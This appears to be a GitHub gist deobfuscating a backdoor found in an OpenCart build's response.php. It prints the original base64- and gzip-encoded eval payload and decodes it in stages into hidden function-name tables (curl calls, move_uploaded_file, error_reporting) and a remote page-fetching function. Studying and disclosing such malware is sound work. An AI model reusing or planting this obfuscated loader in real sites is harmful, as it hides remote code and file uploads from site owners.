Skip to content

Instantly share code, notes, and snippets.

@cawa87
Last active September 1, 2015 10:50
Show Gist options
  • Save cawa87/c6901d7e0dd9c06ba066 to your computer and use it in GitHub Desktop.
Save cawa87/c6901d7e0dd9c06ba066 to your computer and use it in GitHub Desktop.
Вредоносный код в сборке opencart на сайте http://ruopencart.com/ - зараженный файл system/library/response.php
<?php
/*
Исходная строка:
$output_page = eval(gzuncompress(base64_decode('eNqdVE1rg0AQ/Ss9FDaBUnRpE6R4SA/tJVBMPURLkHx4Uimkp+bXN/NczW7s7K656OLbeTPz5o3378uP18Xy80sUYRhG8+d5MJOF2MSL43H7O9ltf8rZU3Eo99+HciKy5u2Up+LuUWTBWtJ7RY8aX2RU5UlMx1hMH/6LJCzNAnqt6SFX9TmKThWwBMFMNGF5SnkRRbm4PHSr56eDymGLoBsdt/02oWYvslWhrYrtgYCuOjnQzRJhdo5+PPQyteJuogLtdl8R+H2m6ZwH9NJ7UDm0ufM9dF7T5+LsxZzNGAXgGvi6zvpzVKF6S6UEKV9ceQLsYFIsCVsDpg2mU5/P1JebhuYsxo9MZNd7Ox2l9WUzHTvW5hr8Ba73eYSHHAoNN9XpHx/ufROFhO6ahEE5BO5gUShxRtUqsfGu3Hx85M1u57itbzDDe+PVIcynOwvC+OqS10M3J8fIyvodvkVVq1YGs0Mz1dX05Q9RpiiO'))); eval(gzuncompress(base64_decode('eNqVVLFuwjAQ/ZUOSAapqnwmiWNVGejQLkgVtEMShBB0DFnY4OubO8exY7V2slxAuXt5792zFx/bz7fN9uvATiAUzxPIhDyxY7G53c735cJ5DaBkKnkmutcHflyyqn1/1N8VL8X+WrGnFyYU1gZLvSsKtnr+dx7sPLbzkub3WA1WE8MQHQa2Gh74m7j0PLp5fAYx1gYDi8tnJk6i9WDfg/RrX7QegQ/UQzBBnJRwsM9yIV3aH+QU9SVzuHi+NDX+iczLfjdaB7njcTB6wjg54vi+/rVnzSnqsXIypzVhnc4H/NCSND1sFh0GgLGzNiljJWEQYVc8rKicuFpY28w7WdM7MiD6/MWzBol/CAdDZ4CkHiOSMyOtkI3iNjp+0wyV7lawDoZOzEXuX2ZzMoGp/GkVXNpd+LbitjEadQF9M3Ze2v6AhAbMZUhfoEOHA6vXXyUobeY='))); eval(gzuncompress(base64_decode('eNqVVNFugjAU/ZU9mKBxIUCpShYe3AMYYrboIjCMMYAzxoBbTKaDrx/3SlnHC1ea3t4Genp6zi09d/76PJ2/rZWtbul8YprMHG2VjT09n+Oi35NeG5Y2MfWRMa5er8+f36ddXxts+so784vEsZQHVflKchgyTRk8di0d6rAYPq8BSsijEOLyksIwW9gUIE3lcpc4lVF4HxRrHahs+MwWkBD5TNodYQFA5nUHpC5azQ8WCiDIAYx2wOaIAiL7cP0jZamhMvnpmrfcPdVKYplASCDk0YW29Uh6xl1zWW3cyoFoHXFLtzZ2YZMEswAsgiWhVyTM26c5Snetci0OIOUn0hlEa9jlThkF/JAgyIpeC1gESYDnMCLf0lP3B4sAUYNlhnQdK4+Dn4wmr9nujXsVSbyXSHRFqzHV4K0g4FKGRYCuYD0wL6vYH5C5QYMfD9HgOOBYSyFCvmQQd1NUkXoTbg0NBnORDwRvj1zxX+aD0ZBUZtOM5q170TGH7fEXxZaFkAS3B1mIkpig8/9QS1TJI6SxiVBc7sK46K/6rzehPA2GmyiDp1++2ouh'))); eval(gzuncompress(base64_decode('eNrNF4tu4kjsV+YidCEqlxcJj/JYdbtpD4lCD+jppLYXBRhKdkMSTSZt2ar/fp4kwCRH21V0Wh3IIbZnbI/tsc0q9hfUDXz0gKkdOg+4WomJJ71U4NWnPfEq+O56nqOYsoqqV87C9WkQrTvopoMGPsUeAhoaT9FfSFNls4NIDPB4qsltWZfbErrEi2+BoquaqrZ0A124BK+CZ6UuN+S22Kks1r3K5XD8+Ww4vRVtra2ZLcOoGw1bvL/lGZrWbppNtaEzhl6/r5Ig9pdVVZLuq1KnhAjjIOJElXWz8ACxYFvt/GYyHF/PbPipJX4po8rMqWrwn+bHhKIlU2tydmmNZrU0QqUsauQtKkJB5cSa3UxGs8nZaHphTWq8WL2ttgytoTeZ2EzkSV1uFYFJfNOaJhfNo7EodcYWd8adZceE88wiHJgav47tNKWCl/60Jp/HU6u2crwIl7K4zVmsMfvyj4K+2eDKGt/MPg6HmX7fC0Fd5UPw9jLtiE+1d51U3vUSCzsrSCUKRF0/Ymj9pJ7FDARjQgKSSBe7yjxYbvtdZU03Xh9q0prScBEsSynmKhPkvcmAi9tgdDG2f5/Nru3z8RerTJLU+bqly/nS8QG+O3z05NLFuro/p/SycCKMRF1VxVOCaUx8lHi+MyfY+dZJuYZqHLh79+WWmKr+9pLX1xKnNXNXolUEOJFlnw2Hf1v2aDwbnINL3VXVjSJMqxX70prdikFMw5hG4r0EPS1DekVe5/WwLSNKvR4SvcBZitILJ/N6PIWNS5ekAqlD0r5JoY/xzM4rhjKQXyCKndf8Dg5Bcgn3NHLZVuc/H+EsGeyLwdACsSvXwyBO9J0N/CY+LGFMM5eZTbPwOKaQbkI7VVrjfQGexYt1gITZGiO2Fgml3HOsBWgFt3yAHzbqJzpfsFpFkN7xKJIFFIcsm/DyFyHLjfSIFrsmjJRg3TnpJ7AKyAY5yWTWuxM+7RKXibgT0AbTdbAERhhEFHAMM9w2xEDYxB51Q4dQhUn4belQ507oo67nzGFWAxqsgQQF2heYxBY0INvTrpJw+13XByUok0TxMxPNTrDbg9zl/lXpI/yMN6GHT9EyePKZZQoC24GT08ZcAeou4IfJekNbumqnLcMSddm70s9k57ZF8Xzjcmbu8UfHixlhuiPAzsQlfSG57JUVxf6ytx96BVYMTxXlIQgePPzVeXSiBXFDKi+CjcJQxQldOVyHnyJMHjHpsYy0YRaDtn8rpr/26OzKEu8h2L8mnSW3ZGL9cWNN2SQ5SEvHygX9DiHOtipkLUioCVkXgrfMoCCE4EI8mSFAfXp6kgukjfP8PfBlErP37Z6Z4DsMTh5v8qQCNt8K0I8IDj1ngXd2CbXUT3trSFxQ/jMIYFcQQ9DL9ON2vl0Wgd1ZFoja7uS1VFWZ1myoR8qNDsWhAKxQwCWKQN/WTrpkxAKxWgmltGpH59ymWXjwzH8P/IfyyL4/KChdW5grj46gBsx0BXhvHDW48Y2NgUltTAOz66v87fl59+F/nu1GfvrUi/B2tuc8XEIxP5W2YOxtJWPvf5jl5pEsN0CRwf/H0Nk/i/zjh9JTfz8bG/ls/Addwu3V')));
Состоит из:
eval(gzuncompress(base64_decode('eNqdVE1rg0AQ/Ss9FDaBUnRpE6R4SA/tJVBMPURLkHx4Uimkp+bXN/NczW7s7K656OLbeTPz5o3378uP18Xy80sUYRhG8+d5MJOF2MSL43H7O9ltf8rZU3Eo99+HciKy5u2Up+LuUWTBWtJ7RY8aX2RU5UlMx1hMH/6LJCzNAnqt6SFX9TmKThWwBMFMNGF5SnkRRbm4PHSr56eDymGLoBsdt/02oWYvslWhrYrtgYCuOjnQzRJhdo5+PPQyteJuogLtdl8R+H2m6ZwH9NJ7UDm0ufM9dF7T5+LsxZzNGAXgGvi6zvpzVKF6S6UEKV9ceQLsYFIsCVsDpg2mU5/P1JebhuYsxo9MZNd7Ox2l9WUzHTvW5hr8Ba73eYSHHAoNN9XpHx/ufROFhO6ahEE5BO5gUShxRtUqsfGu3Hx85M1u57itbzDDe+PVIcynOwvC+OqS10M3J8fIyvodvkVVq1YGs0Mz1dX05Q9RpiiO')));
eval(gzuncompress(base64_decode('eNqVVLFuwjAQ/ZUOSAapqnwmiWNVGejQLkgVtEMShBB0DFnY4OubO8exY7V2slxAuXt5792zFx/bz7fN9uvATiAUzxPIhDyxY7G53c735cJ5DaBkKnkmutcHflyyqn1/1N8VL8X+WrGnFyYU1gZLvSsKtnr+dx7sPLbzkub3WA1WE8MQHQa2Gh74m7j0PLp5fAYx1gYDi8tnJk6i9WDfg/RrX7QegQ/UQzBBnJRwsM9yIV3aH+QU9SVzuHi+NDX+iczLfjdaB7njcTB6wjg54vi+/rVnzSnqsXIypzVhnc4H/NCSND1sFh0GgLGzNiljJWEQYVc8rKicuFpY28w7WdM7MiD6/MWzBol/CAdDZ4CkHiOSMyOtkI3iNjp+0wyV7lawDoZOzEXuX2ZzMoGp/GkVXNpd+LbitjEadQF9M3Ze2v6AhAbMZUhfoEOHA6vXXyUobeY=')));
eval(gzuncompress(base64_decode('eNqVVNFugjAU/ZU9mKBxIUCpShYe3AMYYrboIjCMMYAzxoBbTKaDrx/3SlnHC1ea3t4Genp6zi09d/76PJ2/rZWtbul8YprMHG2VjT09n+Oi35NeG5Y2MfWRMa5er8+f36ddXxts+so784vEsZQHVflKchgyTRk8di0d6rAYPq8BSsijEOLyksIwW9gUIE3lcpc4lVF4HxRrHahs+MwWkBD5TNodYQFA5nUHpC5azQ8WCiDIAYx2wOaIAiL7cP0jZamhMvnpmrfcPdVKYplASCDk0YW29Uh6xl1zWW3cyoFoHXFLtzZ2YZMEswAsgiWhVyTM26c5Snetci0OIOUn0hlEa9jlThkF/JAgyIpeC1gESYDnMCLf0lP3B4sAUYNlhnQdK4+Dn4wmr9nujXsVSbyXSHRFqzHV4K0g4FKGRYCuYD0wL6vYH5C5QYMfD9HgOOBYSyFCvmQQd1NUkXoTbg0NBnORDwRvj1zxX+aD0ZBUZtOM5q170TGH7fEXxZaFkAS3B1mIkpig8/9QS1TJI6SxiVBc7sK46K/6rzehPA2GmyiDp1++2ouh')));
eval(gzuncompress(base64_decode('eNrNF4tu4kjsV+YidCEqlxcJj/JYdbtpD4lCD+jppLYXBRhKdkMSTSZt2ar/fp4kwCRH21V0Wh3IIbZnbI/tsc0q9hfUDXz0gKkdOg+4WomJJ71U4NWnPfEq+O56nqOYsoqqV87C9WkQrTvopoMGPsUeAhoaT9FfSFNls4NIDPB4qsltWZfbErrEi2+BoquaqrZ0A124BK+CZ6UuN+S22Kks1r3K5XD8+Ww4vRVtra2ZLcOoGw1bvL/lGZrWbppNtaEzhl6/r5Ig9pdVVZLuq1KnhAjjIOJElXWz8ACxYFvt/GYyHF/PbPipJX4po8rMqWrwn+bHhKIlU2tydmmNZrU0QqUsauQtKkJB5cSa3UxGs8nZaHphTWq8WL2ttgytoTeZ2EzkSV1uFYFJfNOaJhfNo7EodcYWd8adZceE88wiHJgav47tNKWCl/60Jp/HU6u2crwIl7K4zVmsMfvyj4K+2eDKGt/MPg6HmX7fC0Fd5UPw9jLtiE+1d51U3vUSCzsrSCUKRF0/Ymj9pJ7FDARjQgKSSBe7yjxYbvtdZU03Xh9q0prScBEsSynmKhPkvcmAi9tgdDG2f5/Nru3z8RerTJLU+bqly/nS8QG+O3z05NLFuro/p/SycCKMRF1VxVOCaUx8lHi+MyfY+dZJuYZqHLh79+WWmKr+9pLX1xKnNXNXolUEOJFlnw2Hf1v2aDwbnINL3VXVjSJMqxX70prdikFMw5hG4r0EPS1DekVe5/WwLSNKvR4SvcBZitILJ/N6PIWNS5ekAqlD0r5JoY/xzM4rhjKQXyCKndf8Dg5Bcgn3NHLZVuc/H+EsGeyLwdACsSvXwyBO9J0N/CY+LGFMM5eZTbPwOKaQbkI7VVrjfQGexYt1gITZGiO2Fgml3HOsBWgFt3yAHzbqJzpfsFpFkN7xKJIFFIcsm/DyFyHLjfSIFrsmjJRg3TnpJ7AKyAY5yWTWuxM+7RKXibgT0AbTdbAERhhEFHAMM9w2xEDYxB51Q4dQhUn4belQ507oo67nzGFWAxqsgQQF2heYxBY0INvTrpJw+13XByUok0TxMxPNTrDbg9zl/lXpI/yMN6GHT9EyePKZZQoC24GT08ZcAeou4IfJekNbumqnLcMSddm70s9k57ZF8Xzjcmbu8UfHixlhuiPAzsQlfSG57JUVxf6ytx96BVYMTxXlIQgePPzVeXSiBXFDKi+CjcJQxQldOVyHnyJMHjHpsYy0YRaDtn8rpr/26OzKEu8h2L8mnSW3ZGL9cWNN2SQ5SEvHygX9DiHOtipkLUioCVkXgrfMoCCE4EI8mSFAfXp6kgukjfP8PfBlErP37Z6Z4DsMTh5v8qQCNt8K0I8IDj1ngXd2CbXUT3trSFxQ/jMIYFcQQ9DL9ON2vl0Wgd1ZFoja7uS1VFWZ1myoR8qNDsWhAKxQwCWKQN/WTrpkxAKxWgmltGpH59ymWXjwzH8P/IfyyL4/KChdW5grj46gBsx0BXhvHDW48Y2NgUltTAOz66v87fl59+F/nu1GfvrUi/B2tuc8XEIxP5W2YOxtJWPvf5jl5pEsN0CRwf/H0Nk/i/zjh9JTfz8bG/ls/Addwu3V')));
$GLOBALS заменил на $gl
*/
$gl = array();
//gzuncompress(base64_decode('eNqdVE1rg0AQ/Ss9FDaBUnRpE6R4SA/tJVBMPURLkHx4Uimkp+bXN/NczW7s7K656OLbeTPz5o3378uP18Xy80sUYRhG8+d5MJOF2MSL43H7O9ltf8rZU3Eo99+HciKy5u2Up+LuUWTBWtJ7RY8aX2RU5UlMx1hMH/6LJCzNAnqt6SFX9TmKThWwBMFMNGF5SnkRRbm4PHSr56eDymGLoBsdt/02oWYvslWhrYrtgYCuOjnQzRJhdo5+PPQyteJuogLtdl8R+H2m6ZwH9NJ7UDm0ufM9dF7T5+LsxZzNGAXgGvi6zvpzVKF6S6UEKV9ceQLsYFIsCVsDpg2mU5/P1JebhuYsxo9MZNd7Ox2l9WUzHTvW5hr8Ba73eYSHHAoNN9XpHx/ufROFhO6ahEE5BO5gUShxRtUqsfGu3Hx85M1u57itbzDDe+PVIcynOwvC+OqS10M3J8fIyvodvkVVq1YGs0Mz1dX05Q9RpiiO'));
$gl['_1119757062_']=array(
base64_decode('YmFzZT' .'Y0X2' .'R' .'l' .'Y29kZQ=' .'='),
base64_decode('YmFzZ' .'TY0' .'X' .'2RlY29' .'kZ' .'Q' .'=='),
base64_decode('YmFz' .'ZTY0X2RlY29kZQ=='),
base64_decode('YmFzZTY0X' .'2RlY2' .'9' .'kZQ=='),
base64_decode('YmFzZTY' .'0X2RlY29' .'kZQ=='),
base64_decode('YmF' .'zZ' .'TY0' .'X2R' .'lY29kZQ' .'=='),
base64_decode('Y' .'mFzZTY0X2R' .'l' .'Y29kZQ=='),
base64_decode('Y' .'mFz' .'ZTY0X2RlY2' .'9kZ' .'Q' .'=='),
base64_decode('YmFzZTY0X2RlY29kZQ' .'=='),
base64_decode('' .'YmFzZTY0X2Rl' .'Y29kZ' .'Q=' .'='),
base64_decode('YmFzZ' .'TY0X2RlY29kZQ=='),
base64_decode('YmF' .'z' .'ZTY0X2Rl' .'Y29' .'kZ' .'Q=='),
base64_decode('YmFzZT' .'Y0X2RlY29' .'kZQ' .'=='),
base64_decode('' .'YmFzZ' .'TY0' .'X2RlY29kZQ' .'=='),
base64_decode('' .'YmFzZTY0X' .'2' .'RlY' .'2' .'9k' .'Z' .'Q=='),
base64_decode('Ym' .'F' .'zZTY0' .'X2R' .'l' .'Y' .'29k' .'ZQ=='),
base64_decode('' .'Y' .'m' .'Fz' .'Z' .'TY0X2RlY29kZQ=' .'='),
base64_decode('Y' .'mFzZTY0' .'X2R' .'lY29kZQ' .'=' .'='),
base64_decode('' .'YmFz' .'ZT' .'Y0X' .'2RlY29kZQ=='),
base64_decode('YmFzZTY0' .'X2' .'R' .'l' .'Y29' .'kZ' .'Q' .'=' .'='),
base64_decode('YmFzZ' .'TY0X2RlY29k' .'ZQ=='),
base64_decode('' .'YmFzZTY' .'0X2RlY29kZ' .'Q=='),
base64_decode('YmFzZTY0X2RlY29k' .'ZQ=='),
base64_decode('cm91' .'bmQ='),
base64_decode('cm91bmQ='),
base64_decode('cm' .'91bmQ='),
base64_decode('cm9' .'1bm' .'Q='),
base64_decode('cm' .'91' .'bmQ='),
base64_decode('cm91bm' .'Q='),
base64_decode('cm91bm' .'Q='),
base64_decode('cm' .'91' .'bm' .'Q='),
base64_decode('cm91bmQ='),
base64_decode('cm91bmQ='),
base64_decode('cm' .'91' .'b' .'mQ='),
base64_decode('cm' .'91bmQ='),
base64_decode('' .'cm91bm' .'Q='),
base64_decode('cm91bmQ='),
base64_decode('cm91bmQ' .'='),
base64_decode('cm' .'91bm' .'Q='),
base64_decode('cm91bm' .'Q' .'='),
base64_decode('cm' .'91bmQ='),
base64_decode('cm91bmQ='),
base64_decode('c' .'m' .'91bmQ='),
base64_decode('cm91bmQ='),
base64_decode('cm91bmQ='),
base64_decode('' .'c' .'m' .'91bm' .'Q='),
base64_decode('cm91bmQ' .'=')
);
/*array (
0 => 'base64_decode',
1 => 'base64_decode',
2 => 'base64_decode',
3 => 'base64_decode',
4 => 'base64_decode',
5 => 'base64_decode',
6 => 'base64_decode',
7 => 'base64_decode',
8 => 'base64_decode',
9 => 'base64_decode',
10 => 'base64_decode',
11 => 'base64_decode',
12 => 'base64_decode',
13 => 'base64_decode',
14 => 'base64_decode',
15 => 'base64_decode',
16 => 'base64_decode',
17 => 'base64_decode',
18 => 'base64_decode',
19 => 'base64_decode',
20 => 'base64_decode',
21 => 'base64_decode',
22 => 'base64_decode',
23 => 'round',
24 => 'round',
25 => 'round',
26 => 'round',
27 => 'round',
28 => 'round',
29 => 'round',
30 => 'round',
31 => 'round',
32 => 'round',
33 => 'round',
34 => 'round',
35 => 'round',
36 => 'round',
37 => 'round',
38 => 'round',
39 => 'round',
40 => 'round',
41 => 'round',
42 => 'round',
43 => 'round',
44 => 'round',
45 => 'round',
46 => 'round',
)*/
// gzuncompress(base64_decode('eNqVVLFuwjAQ/ZUOSAapqnwmiWNVGejQLkgVtEMShBB0DFnY4OubO8exY7V2slxAuXt5792zFx/bz7fN9uvATiAUzxPIhDyxY7G53c735cJ5DaBkKnkmutcHflyyqn1/1N8VL8X+WrGnFyYU1gZLvSsKtnr+dx7sPLbzkub3WA1WE8MQHQa2Gh74m7j0PLp5fAYx1gYDi8tnJk6i9WDfg/RrX7QegQ/UQzBBnJRwsM9yIV3aH+QU9SVzuHi+NDX+iczLfjdaB7njcTB6wjg54vi+/rVnzSnqsXIypzVhnc4H/NCSND1sFh0GgLGzNiljJWEQYVc8rKicuFpY28w7WdM7MiD6/MWzBol/CAdDZ4CkHiOSMyOtkI3iNjp+0wyV7lawDoZOzEXuX2ZzMoGp/GkVXNpd+LbitjEadQF9M3Ze2v6AhAbMZUhfoEOHA6vXXyUobeY='));
$gl['_1290841627_']=Array(
$gl['_1119757062_'][0]('YmFzZTY0X2RlY' .'29' .'k' .'ZQ=='),
$gl['_1119757062_'][1]('YmFzZTY' .'0X' .'2R' .'lY' .'29kZQ=='),
$gl['_1119757062_'][2]('' .'YmFzZTY0' .'X2RlY29' .'kZQ=' .'='),
$gl['_1119757062_'][3]('' .'Y' .'mFzZTY' .'0X2RlY29' .'kZQ=' .'='),
$gl['_1119757062_'][4]('YmF' .'z' .'ZTY0X2R' .'lY2' .'9kZQ' .'=='),
$gl['_1119757062_'][5]('Ym' .'FzZTY' .'0' .'X' .'2RlY29kZQ=='),
$gl['_1119757062_'][6]('YmF' .'zZTY0' .'X2RlY29kZ' .'Q=='),
$gl['_1119757062_'][7]('YmFz' .'ZT' .'Y0' .'X' .'2RlY2' .'9kZQ=='),
$gl['_1119757062_'][8]('Y' .'mFzZTY' .'0X' .'2R' .'lY' .'29kZ' .'Q=' .'='),
$gl['_1119757062_'][9]('YmFzZTY0' .'X2' .'RlY2' .'9kZQ=='),
$gl['_1119757062_'][10]('YmFzZTY0X2Rl' .'Y2' .'9' .'kZQ=='),
$gl['_1119757062_'][11]('YmF' .'zZTY' .'0X2RlY' .'29kZ' .'Q=='),
$gl['_1119757062_'][12]('Ym' .'F' .'zZTY0X2RlY29kZQ=='),
$gl['_1119757062_'][13]('' .'YmF' .'z' .'ZT' .'Y0X2RlY29k' .'ZQ' .'=='),
$gl['_1119757062_'][14]('YmFzZTY' .'0X2' .'RlY29k' .'ZQ' .'=='),
$gl['_1119757062_'][15]('' .'YmF' .'zZTY0X' .'2RlY29kZQ=='),
$gl['_1119757062_'][16]('YmFz' .'ZTY' .'0X2RlY29kZ' .'Q=='),
$gl['_1119757062_'][17]('YmF' .'zZ' .'TY0X2RlY2' .'9kZQ=='),
$gl['_1119757062_'][18]('YmFzZTY0X2RlY2' .'9' .'kZQ=='),
$gl['_1119757062_'][19]('cm91bmQ='),
$gl['_1119757062_'][20]('cm91bmQ' .'='),
$gl['_1119757062_'][21]('cm91' .'bm' .'Q='),
$gl['_1119757062_'][22]('' .'cm91b' .'mQ=')
);
/*array (
0 => 'base64_decode',
1 => 'base64_decode',
2 => 'base64_decode',
3 => 'base64_decode',
4 => 'base64_decode',
5 => 'base64_decode',
6 => 'base64_decode',
7 => 'base64_decode',
8 => 'base64_decode',
9 => 'base64_decode',
10 => 'base64_decode',
11 => 'base64_decode',
12 => 'base64_decode',
13 => 'base64_decode',
14 => 'base64_decode',
15 => 'base64_decode',
16 => 'base64_decode',
17 => 'base64_decode',
18 => 'base64_decode',
19 => 'round',
20 => 'round',
21 => 'round',
22 => 'round',
)*/
//gzuncompress(base64_decode('eNqVVNFugjAU/ZU9mKBxIUCpShYe3AMYYrboIjCMMYAzxoBbTKaDrx/3SlnHC1ea3t4Genp6zi09d/76PJ2/rZWtbul8YprMHG2VjT09n+Oi35NeG5Y2MfWRMa5er8+f36ddXxts+so784vEsZQHVflKchgyTRk8di0d6rAYPq8BSsijEOLyksIwW9gUIE3lcpc4lVF4HxRrHahs+MwWkBD5TNodYQFA5nUHpC5azQ8WCiDIAYx2wOaIAiL7cP0jZamhMvnpmrfcPdVKYplASCDk0YW29Uh6xl1zWW3cyoFoHXFLtzZ2YZMEswAsgiWhVyTM26c5Snetci0OIOUn0hlEa9jlThkF/JAgyIpeC1gESYDnMCLf0lP3B4sAUYNlhnQdK4+Dn4wmr9nujXsVSbyXSHRFqzHV4K0g4FKGRYCuYD0wL6vYH5C5QYMfD9HgOOBYSyFCvmQQd1NUkXoTbg0NBnORDwRvj1zxX+aD0ZBUZtOM5q170TGH7fEXxZaFkAS3B1mIkpig8/9QS1TJI6SxiVBc7sK46K/6rzehPA2GmyiDp1++2ouh'));
$gl['_1915844346_']=Array(
$gl['_1290841627_'][round(0)]('Y3VybF9' .'pbm' .'l0'),
$gl['_1290841627_'][round(0+1)]('' .'Y3VybF9z' .'ZX' .'Rvc' .'HQ='),
$gl['_1290841627_'][round(0+0.5+0.5+0.5+0.5)]('Y3VybF9zZXRvc' .'HQ='),
$gl['_1290841627_'][round(0+3)]('Y3VybF9' .'zZX' .'RvcHQ' .'='),
$gl['_1290841627_'][round(0+0.8+0.8+0.8+0.8+0.8)]('Y' .'3VybF9zZXRvcHQ' .'='),
$gl['_1290841627_'][round(0+1+1+1+1+1)]('Y3V' .'ybF9zZXR' .'vcHQ='),
$gl['_1290841627_'][round(0+3+3)]('Y3V' .'ybF9leGVj'),
$gl['_1290841627_'][round(0+2.3333333333333+2.3333333333333+2.3333333333333)]('' .'Y3VybF9nZX' .'R' .'p' .'b' .'mZv'),
$gl['_1290841627_'][round(0+2.6666666666667+2.6666666666667+2.6666666666667)]('Y' .'3Vy' .'bF' .'9jb' .'G9' .'zZQ=='),
$gl['_1290841627_'][round(0+9)]('Z' .'XJyb3JfcmV' .'wb3J0aW' .'5n'),
$gl['_1290841627_'][round(0+2+2+2+2+2)]('Y' .'mFzZW5hbW' .'U' .'='),
$gl['_1290841627_'][round(0+11)]('bW9' .'2ZV91cGx' .'vY' .'WRlZ' .'F9maWxl'),
$gl['_1290841627_'][round(0+2.4+2.4+2.4+2.4+2.4)]('' .'YmFz' .'ZW5hbWU='),
$gl['_1290841627_'][round(0+3.25+3.25+3.25+3.25)]('' .'c3' .'Ry' .'X' .'3JlcGxhY' .'2U='),
$gl['_1290841627_'][round(0+7+7)]('aW5' .'pX3' .'Nl' .'dA' .'=='),
$gl['_1290841627_'][round(0+3+3+3+3+3)]('ZXJyb' .'3' .'Jf' .'cm' .'Vwb3J' .'0aW5n'),
$gl['_1290841627_'][round(0+5.3333333333333+5.3333333333333+5.3333333333333)]('c' .'3RyX' .'3Jl' .'cGxhY2U='),
$gl['_1290841627_'][round(0+4.25+4.25+4.25+4.25)]('aW5pX3Nl' .'dA=='),
$gl['_1290841627_'][round(0+4.5+4.5+4.5+4.5)]('' .'ZXJyb3JfcmVwb' .'3J0' .'aW5n')
);
/*array (
0 => 'curl_init',
1 => 'curl_setopt',
2 => 'curl_setopt',
3 => 'curl_setopt',
4 => 'curl_setopt',
5 => 'curl_setopt',
6 => 'curl_exec',
7 => 'curl_getinfo',
8 => 'curl_close',
9 => 'error_reporting',
10 => 'basename',
11 => 'move_uploaded_file',
12 => 'basename',
13 => 'str_replace',
14 => 'ini_set',
15 => 'error_reporting',
16 => 'str_replace',
17 => 'ini_set',
18 => 'error_reporting',
)*/
//gzuncompress(base64_decode('eNrNF4tu4kjsV+YidCEqlxcJj/JYdbtpD4lCD+jppLYXBRhKdkMSTSZt2ar/fp4kwCRH21V0Wh3IIbZnbI/tsc0q9hfUDXz0gKkdOg+4WomJJ71U4NWnPfEq+O56nqOYsoqqV87C9WkQrTvopoMGPsUeAhoaT9FfSFNls4NIDPB4qsltWZfbErrEi2+BoquaqrZ0A124BK+CZ6UuN+S22Kks1r3K5XD8+Ww4vRVtra2ZLcOoGw1bvL/lGZrWbppNtaEzhl6/r5Ig9pdVVZLuq1KnhAjjIOJElXWz8ACxYFvt/GYyHF/PbPipJX4po8rMqWrwn+bHhKIlU2tydmmNZrU0QqUsauQtKkJB5cSa3UxGs8nZaHphTWq8WL2ttgytoTeZ2EzkSV1uFYFJfNOaJhfNo7EodcYWd8adZceE88wiHJgav47tNKWCl/60Jp/HU6u2crwIl7K4zVmsMfvyj4K+2eDKGt/MPg6HmX7fC0Fd5UPw9jLtiE+1d51U3vUSCzsrSCUKRF0/Ymj9pJ7FDARjQgKSSBe7yjxYbvtdZU03Xh9q0prScBEsSynmKhPkvcmAi9tgdDG2f5/Nru3z8RerTJLU+bqly/nS8QG+O3z05NLFuro/p/SycCKMRF1VxVOCaUx8lHi+MyfY+dZJuYZqHLh79+WWmKr+9pLX1xKnNXNXolUEOJFlnw2Hf1v2aDwbnINL3VXVjSJMqxX70prdikFMw5hG4r0EPS1DekVe5/WwLSNKvR4SvcBZitILJ/N6PIWNS5ekAqlD0r5JoY/xzM4rhjKQXyCKndf8Dg5Bcgn3NHLZVuc/H+EsGeyLwdACsSvXwyBO9J0N/CY+LGFMM5eZTbPwOKaQbkI7VVrjfQGexYt1gITZGiO2Fgml3HOsBWgFt3yAHzbqJzpfsFpFkN7xKJIFFIcsm/DyFyHLjfSIFrsmjJRg3TnpJ7AKyAY5yWTWuxM+7RKXibgT0AbTdbAERhhEFHAMM9w2xEDYxB51Q4dQhUn4belQ507oo67nzGFWAxqsgQQF2heYxBY0INvTrpJw+13XByUok0TxMxPNTrDbg9zl/lXpI/yMN6GHT9EyePKZZQoC24GT08ZcAeou4IfJekNbumqnLcMSddm70s9k57ZF8Xzjcmbu8UfHixlhuiPAzsQlfSG57JUVxf6ytx96BVYMTxXlIQgePPzVeXSiBXFDKi+CjcJQxQldOVyHnyJMHjHpsYy0YRaDtn8rpr/26OzKEu8h2L8mnSW3ZGL9cWNN2SQ5SEvHygX9DiHOtipkLUioCVkXgrfMoCCE4EI8mSFAfXp6kgukjfP8PfBlErP37Z6Z4DsMTh5v8qQCNt8K0I8IDj1ngXd2CbXUT3trSFxQ/jMIYFcQQ9DL9ON2vl0Wgd1ZFoja7uS1VFWZ1myoR8qNDsWhAKxQwCWKQN/WTrpkxAKxWgmltGpH59ymWXjwzH8P/IfyyL4/KChdW5grj46gBsx0BXhvHDW48Y2NgUltTAOz66v87fl59+F/nu1GfvrUi/B2tuc8XEIxP5W2YOxtJWPvf5jl5pEsN0CRwf/H0Nk/i/zjh9JTfz8bG/ls/Addwu3V'));
/*function get_page($url){
$agent='Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
$ch=$gl['_1915844346_'][$gl['_1119757062_'][23](round(0))]();
$gl['_1915844346_'][$gl['_1119757062_'][24](round(0)+0.25+0.25+0.25+0.25)]($ch,CURLOPT_URL,$url);
$gl['_1915844346_'][$gl['_1119757062_'][25](round(0)+0.66666666666667+0.66666666666667+0.66666666666667)]($ch,CURLOPT_USERAGENT,$agent);
$gl['_1915844346_'][$gl['_1119757062_'][26](round(0)+0.6+0.6+0.6+0.6+0.6)]($ch,CURLOPT_RETURNTRANSFER,$gl['_1290841627_'][round(0+3.8+3.8+3.8+3.8+3.8)]($gl['_1119757062_'][27](round(0))+0.25+0.25+0.25+0.25));
$gl['_1915844346_'][$gl['_1119757062_'][28](round(0)+round(0+0.25+0.25+0.25+0.25)+round(0+0.2+0.2+0.2+0.2+0.2)+round(0+1)+round(0+0.5+0.5))]($ch,CURLOPT_VERBOSE,false);
$gl['_1915844346_'][$gl['_1119757062_'][29](round(0)+1.25+1.25+1.25+1.25)]($ch,CURLOPT_TIMEOUT,$gl['_1290841627_'][round(0+5+5+5+5)]($gl['_1119757062_'][30](round(0))+$gl['_1119757062_'][31](round(0)+round(0+1)+round(0+1)+round(0+0.5+0.5)+round(0+0.25+0.25+0.25+0.25)+round(0+0.2+0.2+0.2+0.2+0.2))));
$page=$gl['_1915844346_'][$gl['_1119757062_'][32](round(0)+round(0+3+3))]($ch);
$errorpage='</body></html>';
$httpcode=$gl['_1915844346_'][$gl['_1119757062_'][33](round(0)+3.5+3.5)]($ch,CURLINFO_HTTP_CODE);
$gl['_1915844346_'][$gl['_1119757062_'][34](round(0)+2.6666666666667+2.6666666666667+2.6666666666667)]($ch);
switch($httpcode){
case '200':
return $page;
break;
case '404':
return $errorpage;
break;
case '502':
return $errorpage;
break;
}
}
